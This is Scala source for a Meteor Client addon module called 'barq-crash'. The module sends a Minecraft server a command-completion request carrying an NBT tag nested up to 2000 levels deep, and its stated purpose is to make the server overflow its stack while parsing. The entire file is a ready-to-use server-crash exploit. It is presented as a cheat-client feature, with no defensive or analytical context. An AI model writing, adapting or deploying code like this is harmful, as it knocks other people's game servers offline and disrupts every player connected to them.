package me.delyfss.arlekin.modules
import me.delyfss.arlekin.Arlekin.CATEGORY
import meteordevelopment.meteorclient.settings.{IntSetting, StringSetting}
import meteordevelopment.meteorclient.systems.modules.Module
import net.minecraft.network.packet.c2s.play.RequestCommandCompletionsC2SPacket
class BarqCrash extends Module(CATEGORY, "barq-crash", "Calls StackOverflow when attempting to parse a tag. (By EnZaXD)") {
final private val sgGeneral = settings.getDefaultGroup
final private val length = sgGeneral.add(new IntSetting.Builder().name("length").description("Tag length.").defaultValue(2000).min(1).sliderMax(2000).build)
final private val command = sgGeneral.add(new StringSetting.Builder().name("command").description("Command used for completion.").defaultValue("tell").build)
override def onActivate(): Unit = {
mc.getNetworkHandler.sendPacket(new RequestCommandCompletionsC2SPacket(0, s"${command.get} @e[nbt={\"arlekin\":${"[" * length.get}}]"))
toggle()
}
}